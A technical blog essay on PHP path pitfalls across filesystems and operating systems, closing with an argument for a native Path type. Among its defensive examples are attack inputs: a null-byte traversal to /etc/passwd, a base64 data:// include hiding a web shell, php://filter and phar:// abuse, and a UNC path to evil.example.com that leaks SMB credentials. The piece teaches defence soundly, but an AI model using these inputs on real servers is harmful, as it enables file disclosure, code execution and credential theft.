The Path Not Taken: everything that can go wrong with a path
A path is a string. And, just like concatenation, this is the source of all our troubles.
PHP treats it as a string, the filesystem treats it as a sequence of bytes with opinions, and Windows treats it as a suggestion. Somewhere in between, our code does $dir . '/' . $name and calls it a day.
Let’s have a look at everything that can happen in that little dot operator.
Three layers, three sets of rules
A path goes through three validators before a file is opened, and they do not agree with each other.
- PHP : stream wrappers, null byte checks,
open_basedir, the realpath cache. - The OS API :
PATH_MAX,MAX_PATH, separator translation, normalization. - The filesystem :
NAME_MAX, allowed bytes, case sensitivity, Unicode normalization.
A string may be perfectly valid at one layer, and rejected at the next. Or worse: silently modified at the next, PHP-style or not. Most path bugs live in that gap.
1. Length: bytes, not characters
Everyone knows a filename can be 255 long. Few people ask: 255 what?
<?php
$name = str_repeat('é', 200);
strlen($name); // 400 <- this is what the kernel counts
mb_strlen($name); // 200 <- this is what you were thinking of
file_put_contents("/tmp/$name", 'x');
// Warning: failed to open stream: File name too long
?>
On Linux, NAME_MAX is 255 bytes. That is 255 ASCII characters, or 63 emoji. Your user naming their invoice with a family of four, that is 👨👩👧👦, 25 bytes each, thank you ZWJ, will find the limit sooner than you expect.
Here is the table nobody prints on a poster:
| System | One component | Whole path |
|---|---|---|
| Linux, ext4/xfs/btrfs | 255 bytes | 4096 (PATH_MAX) |
| macOS, APFS | 255 UTF-16 units | 1024 |
| Windows | 255 UTF-16 units | 260 (MAX_PATH) |
| eCryptfs | ~143 bytes | Mmm, OK |
| NFS, SMB, that one NAS | ¯\_(ツ)_/¯ | ¯\_(ツ)_/¯ |
And PATH_MAX is not a constraint. You can create a tree deeper than 4096 bytes by chdir-ing along the way and using relative names. You simply cannot open it afterwards with an absolute path. Backup scripts love this. So do rm -rf sessions at 2 AM.
Windows raised MAX_PATH in Windows 10 1607, if the registry key is set, and if the application manifest asks for it. Two conditions, both outside your code. The other escape is the \\?\ prefix:
<?php $path = '\\\\?\\C:\\very\\long\\path\\file.txt'; ?>
This works, and it also switches off all normalization: no .. resolution, no / to \ translation, no trailing-dot cleanup. You get exactly what you typed. Never combine that prefix with user input, unless you enjoy adventure.
2. Which characters are forbidden? Almost none.
On Unix, exactly two bytes are illegal in a filename: / and \0. Everything else is fair game.
<?php
file_put_contents("/tmp/hello\nworld", 'x'); // works
file_put_contents('/tmp/-rf', 'x'); // works
file_put_contents("/tmp/\x01\x02\x03", 'x'); // works
file_put_contents('/tmp/*', 'x'); // works, and yes, it is a literal star
?>
That last one is not a wildcard on disk. It becomes a wildcard the moment it meets glob(), or a shell, or your find command. The filesystem is permissive; everything downstream is not.
A few classics:
<?php
// A file named "-n". Passed to a shell, it stops being a filename.
exec("cat $file"); // cat: invalid option -- 'n'
exec('cat ' . escapeshellarg($file)); // better
?>
<?php
// A file named "report.pdf\r\nX-Injected: yes"
header("Content-Disposition: attachment; filename=\"$name\"");
// PHP blocks the newline since 5.1.2, but your framework's
// download helper might be building the string by hand.
?>
<?php
// glob() has no escaping function. None. You write it yourself.
$safe = preg_replace('/([*?\[\]{}])/', '[$1]', $pattern);
?>
Windows, which has opinions
Forbidden in a component: < > : " / \ | ? * and bytes 0x00 to 0x1F. Then it gets interesting.
Reserved device names, case-insensitive, extension or not:
<?php
file_exists('nul'); // true. On a machine where no such file exists.
file_exists('CON.txt'); // true. Still the console.
file_put_contents('COM1', 'hello'); // talks to a serial port
?>
CON, PRN, AUX, NUL, COM1–COM9, LPT1–LPT9. A user uploading aux.jpg from a French keyboard is not attacking you. They just wrote “aux” because it is a French word. The result is the same.
Trailing dots and spaces are silently removed:
<?php
// Windows
file_put_contents('config.php.', 'evil');
// You just wrote config.php
pathinfo('config.php.', PATHINFO_EXTENSION); // '' — PHP sees no extension
// Your extension whitelist said no. The filesystem said yes.
?>
Alternate Data Streams, the old favourite:
GET /index.php::$DATA
?>
[/php]
served the source code of index.php instead of executing it, for years.
Short 8.3 names, still alive:
<?php // Blocked "verylongconfigname.php"? // Try VERYLO~1.PHP ?>
Drive-relative paths, which look absolute and are not:
<?php 'C:\foo' // absolute 'C:foo' // "foo", relative to the current directory *on drive C* ?>
UNC and device namespaces:
<?php
file_get_contents('\\\\evil.example.com\\share\\x');
// Windows happily attempts an outbound SMB authentication.
// With your machine account credentials. Have a nice day.
?>
3. Separators: two of them, sometimes
Windows accepts / and \. Unix accepts only /, and considers \ an ordinary, perfectly legal character in a name.
<?php $path = 'dir\file.txt'; // Linux : one file, literally named "dir\file.txt" // Windows : the file file.txt inside dir ?>
This asymmetry is the engine of a whole family of traversal bugs, because basename() follows the platform:
<?php
// On Linux
basename('..\..\..\etc\passwd'); // '..\..\..\etc\passwd', unchanged!
basename('../../../etc/passwd'); // 'passwd'
?>
If your sanitizer runs on a Linux box and your storage is a Windows share, congratulations, you have built a tunnel.
Rule of thumb: normalize \ to / on input, always, on every platform. Then use DIRECTORY_SEPARATOR on output if you must.
4. . and .., which do not mean the same thing everywhere
Everyone knows .. goes up. Not everyone knows how.
- Windows resolves
..lexically, on the string, before touching the disk. - Unix resolves
..on the actual tree, after following symlinks.
<?php
// /var/www/data/link -> /etc
// On Linux:
realpath('/var/www/data/link/../passwd'); // '/etc/passwd' (!)
// Lexically, you would have expected /var/www/data/passwd
?>
This is why string-level normalization is not a security control. str_replace('../', '', $path) is not a security control either, and it never was:
<?php
$path = '....//....//etc/passwd';
str_replace('../', '', $path); // '../../etc/passwd'
// The removal created what it was removing. Poetry in action
?>
Other small print in the same neighbourhood:
<?php
'a//b' // collapses to a/b
'//server' // leading double slash is implementation-defined by POSIX. Enjoy.
'foo.txt/' // trailing slash means "this must be a directory"
// file_exists('foo.txt/') === false on Linux
'' // PHP 8: ValueError: Path must not be empty
?>
5. Encoding: PHP has no idea
PHP does not have a concept of filename encoding. A path is a byte string. That is all.
On Linux, this means two files can look identical and not be:
<?php
$nfc = "caf\xC3\xA9"; // café, composed
$nfd = "cafe\xCC\x81"; // café, e + combining accent
file_put_contents("/tmp/$nfc", 'one');
file_put_contents("/tmp/$nfd", 'two');
// Two files. Same appearance in ls. Different inodes.
$nfc === $nfd; // false
?>
Normalize before comparing, before storing, before everything:
<?php $name = Normalizer::normalize($name, Normalizer::FORM_C); // ext-intl ?>
macOS makes its own choices: HFS+ forced NFD; APFS preserves what you give it but compares insensitively to normalization. So the name you read back may not be byte-identical to the name you wrote. Test for it, do not assume it.
Windows stores UTF-16. PHP 7.1+ converts through the active code page, which is usually not UTF-8:
<?php
// Windows, CLI
sapi_windows_cp_set(65001); // UTF-8, please
$arg = sapi_windows_cp_conv(
sapi_windows_cp_get('oem'), 65001, $argv[1]
);
?>
Skip that, and accented filenames turn into a museum of mojibake.
Normalization has a twin sister, and she gets her own section below.
One more: basename() is locale-dependent and not fully multibyte-safe. It has been known to eat leading bytes of multibyte characters under the wrong locale. If it matters, split the string yourself.
6. Case: the second axis of identity
Unicode normalization asked whether two different byte strings are the same file. Case asks the same question again, on a different axis, and gets a different answer per volume.
Note the word: per volume. Not per operating system. Everyone repeats “Linux is case-sensitive, Windows and macOS are not”, and everyone is wrong at least once a year:
| Default | But also | |
|---|---|---|
| ext4 | sensitive | casefold feature since Linux 5.2, chattr +F on an empty directory |
| APFS / HFS+ | insensitive, preserving | can be formatted case-sensitive (APFSX) |
| NTFS | insensitive, preserving | per-directory flag since Win10 1803, fsutil file setCaseSensitiveInfo |
| exFAT / FAT32 | insensitive | preserving, mostly |
| SMB / NFS mount | inherits the server, not your kernel | often surprising |
| Docker bind mount on a Mac | insensitive | inside a Linux container. Yes, really. |
That last row deserves a moment. Your container says Linux 6.x. Your test suite passes. The filesystem underneath is your Mac’s, and it folds case. You will discover this in production, on a machine whose volume does not.
So: never hardcode the answer. Ask.
<?php
function isCaseInsensitive(string $dir): bool
{
$probe = tempnam($dir, 'aA');
if ($probe === false) {
return false;
}
$swapped = dirname($probe) . '/' . strtoupper(basename($probe));
$result = ($swapped !== $probe) && file_exists($swapped);
unlink($probe);
return $result;
}
?>
Preserving is not the same as insensitive
These are two independent properties, and mixing them up is where the data loss comes from.
<?php
// macOS, APFS
file_put_contents('Report.pdf', 'v1');
file_exists('report.pdf'); // true <- insensitive lookup
file_exists('REPORT.PDF'); // true
scandir('.'); // ['Report.pdf'] <- preserved spelling
file_put_contents('report.pdf', 'v2');
// One file. Still spelled "Report.pdf". Contents: v2.
// The first version is gone, and nothing warned you.
?>
Now put that behind an upload form. Two users, two rows in your database, Photo.jpg and photo.jpg, one file on disk. One of them is looking at the other’s picture. On Linux, the same code produces two files and no incident, which is exactly why nobody caught it in review.
The reverse mismatch is just as common, and comes from the database side:
-- MySQL, utf8mb4_general_ci : case-insensitive by default
SELECT * FROM files WHERE name = 'Report.pdf'; -- also matches report.pdf
?>
[/php]
Your unique index says these are duplicates. Your Linux filesystem says they are two files. Somewhere between them, a row and a file stop pointing at each other.
Renaming by case only
<?php
rename('foo.txt', 'FOO.txt');
?>
On Linux: two distinct names, a real rename, no drama. On a case-insensitive volume: source and destination resolve to the same file. Windows handles this and updates the stored spelling. Some network filesystems return success and change nothing. Some return an error. Git has an entire flag for this (git mv --force), which tells you how well it goes.
If you must, do it in two steps through a name that collides with nothing:
<?php
rename('foo.txt', 'foo.txt.tmp-' . bin2hex(random_bytes(4)));
rename('foo.txt.tmp-' . $suffix, 'FOO.txt');
?>
Case folding is not strtolower()
The comparison is done by the filesystem, using a table the filesystem chose, and those tables are frozen in time.
- NTFS bakes an uppercase table into the volume at format time (
$UpCase). It does not update when Unicode does. - HFS+ folded using Unicode 3.2. From 2002.
- ext4’s
casefolduses whatever Unicode version the kernel shipped with. - macOS, Windows and Linux therefore disagree about which pairs collide.
Which means your strtolower()-based uniqueness check and the filesystem’s opinion are two different algorithms:
<?php
strtolower('İSTANBUL'); // 'i̇stanbul', with a combining dot, in some locales
strtolower('STRASSE'); // vs 'straße', which folds to 'strasse' under full folding
// And the classic:
mb_strtolower("\u{212A}"); // KELVIN SIGN -> 'k' under Unicode case folding
?>
Do not implement folding. If you need a case-insensitive key, use Normalizer::normalize() followed by mb_convert_case($s, MB_CASE_FOLD, 'UTF-8'), store that as the uniqueness key alongside the original name, and let the filesystem have its own opinion in peace.
The security half
This is where it stops being an annoyance.
Extension blacklists. A blacklist is a string comparison; the filesystem is not.
<?php $blocked = ['php', 'phtml', 'phar']; $ext = pathinfo($name, PATHINFO_EXTENSION); in_array($ext, $blocked); // 'PHP' -> false. Upload accepted. in_array(strtolower($ext), $blocked); // better ?>
And the same trap one layer down, in the web server:
# Case-sensitive. shell.PHP walks straight past it.
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
# What you meant:
<FilesMatch “(?i)\.php$”>
?>
[/php]
Whitelist extensions, lowercase before comparing, and never let the handler config and your validator disagree about case.
Path whitelists and containment. Every string comparison in your security code is case-sensitive; the lookup it is protecting may not be.
<?php $allowed = '/var/www/public/'; $target = realpath($base . $input); // 'C:\inetpub\PUBLIC\..\config.php'? str_starts_with($target, $allowed); // case-sensitive comparison ?>
On a case-insensitive volume, /var/www/PUBLIC/x and /var/www/public/x are one file with two spellings, and only one of them passes your check. Worse, realpath() does not reliably return the canonical on-disk spelling, do not rely on it to normalize case for you. On such a volume, fold both sides before comparing, or better, compare identity instead of strings:
<?php // Same file, whatever it is called today $a = stat($target); $b = stat($expected); $same = $a['dev'] === $b['dev'] && $a['ino'] === $b['ino']; ?>
(ino is meaningless on Windows in older PHP builds. Nothing is free.)
Existence checks are not whitelists. file_exists('CONFIG.PHP') returning true on Windows means “some file matched”, not “the file you named exists”.
And the one that actually wakes you up
<?php
// src/Models/user.php
namespace App\Models;
class User {}
?>
PSR-4 says the file must be User.php. Your Mac says both work. Composer’s dev autoloader scans and finds it anyway. Then you deploy to Linux with --optimize-autoloader, the classmap holds the real filename, and:
Fatal error: Uncaught Error: Class "App\Models\User" not found
?>
[/php]
Nothing changed in the code. The filesystem simply stopped being polite. Run composer dump-autoload --optimize --strict-psr in CI, on a case-sensitive volume, and find out on a Tuesday instead of during a release.
7. The PHP-specific layer
The null byte, may it rest in peace
<?php include $_GET['page'] . '.php'; // ?page=../../../../etc/passwd%00 ?>
Dead since 5.3.4, and a ValueError since PHP 8. But note where it dies: inside the filesystem function. Your own validation code, running earlier, may still be fooled by a string that PHP will later reject, or that you substr() before PHP ever sees it. Check for "\0" yourself, first.
Every path is also a URL
This is the one that surprises people. Almost every function taking a “filename” also takes a stream wrapper:
<?php
file_get_contents('php://filter/convert.base64-encode/resource=config.php');
getimagesize('http://evil.example.com/x.png');
include 'data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTs=';
copy('phar://uploaded.jpg/x', '/tmp/y'); // and now we deserialize
?>
allow_url_fopen and allow_url_include only close the network ones. php://, data://, glob:// and the famous phar:// stay. phar:// is special: opening it unserializes the archive metadata, which turns a humble file-read into object injection. Any function. file_exists() counts.
A scheme is roughly [a-zA-Z0-9+.-]{2,}://: the two-character minimum is exactly why C:/temp is not mistaken for a wrapper. Small mercies.
Reject schemes explicitly:
<?php
if (preg_match('#^[a-zA-Z0-9+.\-]{2,}://#', $input)) {
throw new InvalidArgumentException('No.');
}
?>
open_basedir compares prefixes, not directories
open_basedir = /var/www
?>
[/php]
This also allows /var/www-backup, /var/www.old, and /var/wwwhatever. It is a string prefix test.
open_basedir = /var/www/
?>
[/php]
The trailing slash is not decoration. It is the whole feature.
The caches you forgot about
<?php clearstatcache(); // stat results clearstatcache(true, $path); // and the realpath cache for one path ?>
realpath_cache_ttl defaults to 120 seconds. Swap a symlink during a deploy and, for two minutes, PHP serves you the previous release with great confidence. Both caches are per-process, so half your workers agree and half do not. Debugging that is a character-building experience.
realpath() returns false more often than you think
<?php
realpath('/tmp/not-yet-created.txt'); // false: file does not exist
?>
For a file you are about to create, resolve the directory and append the name afterwards.
pathinfo() and its little surprises
<?php
pathinfo('.htaccess');
// ['dirname' => '.', 'basename' => '.htaccess',
// 'extension' => 'htaccess', 'filename' => '']
pathinfo('archive.tar.gz', PATHINFO_EXTENSION); // 'gz'
pathinfo('README')['extension']; // Warning: Undefined array key
?>
The last one is not null. The key is simply absent. ?? is your friend.
$_FILES is a hostile witness
<?php $_FILES['x']['name'] // fully attacker-controlled $_FILES['x']['full_path'] // PHP 8.1+, even more so: contains directories $_FILES['x']['type'] // attacker-controlled, means nothing ?>
Never build a storage path from any of these. Generate a name, store the original in the database, and sleep well.
8. Syntax is not semantics
You can validate a path perfectly and still open the wrong file.
Symlinks. A string confined to your directory can point anywhere. Only realpath() closes this; string normalization does not.
TOCTOU. Between the check and the open, the world moves:
<?php
if (is_file($path)) { // it is a regular file
// <- attacker replaces $path with a symlink to /etc/shadow
$data = file_get_contents($path);
}
?>
In a world-writable directory, open first and inspect the handle (fstat), rather than the name.
Zip Slip. Archive entries are just strings, and nobody validated them for you:
<?php
$zip->getNameIndex($i); // '../../etc/cron.d/pwn'
$zip->extractTo('/tmp'); // ZipArchive filters this, but your
// hand-rolled tar extractor does not
?>
Permissions. Traversal needs +x on every directory of the chain. A readable file inside a non-searchable directory is a readable file you cannot reach.
9. So, how do we build a path?
The only order that holds: reject, normalize, resolve, verify containment.
<?php
function safePath(string $baseDir, string $userPath): string
{
// 1. Reject
if (str_contains($userPath, "\0")) {
throw new InvalidArgumentException('null byte');
}
if (preg_match('#^[a-zA-Z0-9+.\-]{2,}://#', $userPath)) {
throw new InvalidArgumentException('stream wrapper');
}
// 2. Normalize separators on every platform, not just Windows
$userPath = str_replace('\\', '/', $userPath);
if ($userPath === ''
|| $userPath[0] === '/'
|| preg_match('#^[a-zA-Z]:#', $userPath)) {
throw new InvalidArgumentException('absolute path');
}
// 3. Resolve : handles . .. and symlinks, on the real tree
$base = realpath($baseDir);
if ($base === false) {
throw new RuntimeException('bad base directory');
}
$base = rtrim($base, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
$target = realpath($base . $userPath);
if ($target === false) {
throw new RuntimeException('not found');
}
// 4. Contain : with the separator, or /var/www2 walks right in
if (!str_starts_with($target . DIRECTORY_SEPARATOR, $base)) {
throw new RuntimeException('escapes base directory');
}
return $target;
}
?>
Note step 4. Without the appended separator, /var/www-backup/secrets passes a str_starts_with('/var/www') test with flying colours.
And for names you generate yourself, the portable intersection of all the rules above is small and boring, which is exactly what you want:
<?php
function safeName(string $name): string
{
$name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name);
$name = ltrim($name, '-.'); // no leading dash or dot
$name = rtrim($name, '. '); // Windows strips these anyway
$name = substr($name, 0, 200); // bytes, with room for a suffix
$reserved = '/^(CON|PRN|AUX|NUL|COM[1-9]|LPT[1-9])(\.|$)/i';
if ($name === '' || preg_match($reserved, $name)) {
$name = 'file_' . $name;
}
return $name;
}
?>
10. The actual conclusion: PHP needs a Path type
Look back at the last nine sections. Every single mitigation was userland. A regex here, a realpath() there, a str_starts_with() with a carefully appended separator. We wrote a function called safePath() and we will now copy it into the next project, where it will slowly diverge from this one.
That is the actual bug. Not .., not NUL, not NFD. The bug is that a path has no type.
<?php $a = '/var/www/uploads/report.pdf'; $b = 'report.pdf'; $c = 'php://filter/convert.base64-encode/resource=config.php'; $d = "report.pdf\0.jpg"; ?>
Four strings. To PHP, and to every static analyser, and to every code reviewer skimming a diff at 18:30 on a Friday, they are the same type: string. Nothing in the language distinguishes an absolute path from a relative one, a resolved path from a lexical one, a filename from a URL, or text from a byte sequence that merely looks like text.
And so we get the signature that has been lying to us since PHP 3:
<?php function fopen(string $filename, string $mode, ...): resource|false ?>
string $filename. It is not a filename. It is absolutely anything.
What a native class would carry
The interesting part is not the string. It is the metadata that a string cannot hold:
<?php
$base = new Path('/var/www/uploads'); // rejects \0 and schemes at construction
$p = $base->join($_GET['file']); // throws on absolute segments
$p->isAbsolute(); // known, not guessed
$p->isResolved(); // has realpath() been applied?
$p->resolve(); // follows symlinks, returns a new Path
$p->isWithin($base); // separator-aware containment, done right
$p->name(); // multibyte-safe, not locale-dependent
$p->extension(); // knows about trailing dots and ADS
$p->normalize(Path::NFC); // explicit Unicode form
$p->foldKey(); // normalized + case-folded, for uniqueness
$p->equals($other); // uses *this volume's* rules, not strtolower()
$p->validateFor(Path::WINDOWS); // device names, 260, forbidden chars
?>
Immutable value object. Every operation returns a new Path. The illegal states are simply not constructible, which is the whole point of having types in the first place.
Two details deserve to be first-class rather than bolted on:
- Target platform.
Path::posix()andPath::windows()as explicit modes, so that a Linux CI box can correctly validate a name destined for an SMB share. Today,basename()guesses from the platform it happens to run on, and guesses wrong exactly when it matters. Case sensitivity belongs here too: it is a property of the volume, and only the engine can ask it. - Bytes, not text. Rust got this right with
OsStrversusString: a path is not a string that happens to contain characters, it is a sequence of bytes the kernel will hand back to you unchanged, invalid UTF-8 and all. APathtype should own that distinction instead of pretending filenames are prose.
Everyone else already has one
| Language | Type |
|---|---|
| Python | pathlib.Path, since 3.4 |
| Java | java.nio.file.Path, since 7 |
| .NET | System.IO.Path, plus FileInfo |
| Rust | Path / PathBuf, and OsStr underneath |
| Go | filepath, at least a separate package with platform semantics |
| PHP | string |
PHP is a language whose primary job, for twenty-five years, has been to sit on a filesystem and serve files from it. It is the one that never grew the type.
Why userland cannot finish the job
We do have good libraries. symfony/filesystem ships a Path class, Flysystem abstracts the whole layer, webmozart/path-util was there before them. They are worth using today. But they hit two walls that only the engine can climb.
First, they cannot see the engine. The realpath cache and its 120-second TTL, open_basedir and its prefix comparison, the list of registered stream wrappers, sapi_windows_cp_get(), the actual NAME_MAX of the mounted filesystem under this specific directory: none of that is reachable from userland with any precision. A userland Path validates against a hardcoded guess of the rules. The engine knows the rules.
Second, and fatally, the boundary is a string.
<?php
$path = new SafePath('/var/www/uploads', $userInput); // hours of careful work
$fh = fopen($path, 'r'); // __toString(). All of it, gone.
?>
Every guarantee evaporates at that call. A value object whose only exit is __toString() is a comment with extra syntax. Which gives the actual requirement, and it is not “add a class”:
The core filesystem functions must accept the type.
fopen(Path|string $filename, ...). include accepting a Path. $_FILES[...]['name'] typed as something that is honestly labelled untrusted. Without that, a native Path is one more wrapper we lovingly construct and then unwrap before use.
Is this an easy RFC? No. The string-typed filesystem API is older than most of the people maintaining it, the BC surface is enormous, and “just use Flysystem” is a defensible answer for a large slice of applications. But string $filename is a 30-year-old accident that we keep paying for one CVE at a time, and each of those CVEs is a variation on one of the nine sections above.
Until then: keep safePath() in a shared package, not in a shared clipboard.
In a nutshell
- Length limits count bytes on Linux, UTF-16 units elsewhere. Use
strlen(), notmb_strlen(). - Unix forbids two bytes. Windows forbids nine characters, plus a list of device names, plus trailing dots, plus ADS, plus short names.
\is a separator on Windows and a valid character on Linux.basename()knows this. Attackers know it too...is resolved lexically on Windows and against symlinks on Unix. These are different answers.- PHP has no filename encoding. Normalize with
Normalizer, and never trust that what you wrote is what you read back. - Every “filename” parameter is also a stream wrapper.
phar://unserializes. open_basediris a prefix test. Trailing slash, always.- The realpath cache lasts 120 seconds and will lie to you during a deploy.
- Case sensitivity is a property of the volume, not the OS. Preserving is not insensitive. Lowercase before every extension check, and never let a case-sensitive whitelist guard a case-insensitive lookup.
- Validation is not resolution. Only
realpath()sees symlinks, and even that is racy. - Best of all: do not accept paths. Accept an identifier, look the path up in a table, and hand all of the above to someone else.
- And every one of these bullets exists because PHP models a path as a
string. A native, immutablePathtype, accepted by the core filesystem functions, not merely stringified into them — would turn this checklist into a constructor.
A path is a string, yes. That is precisely the problem. It is a string with a filesystem attached, and the filesystem has been there much longer than your regex.

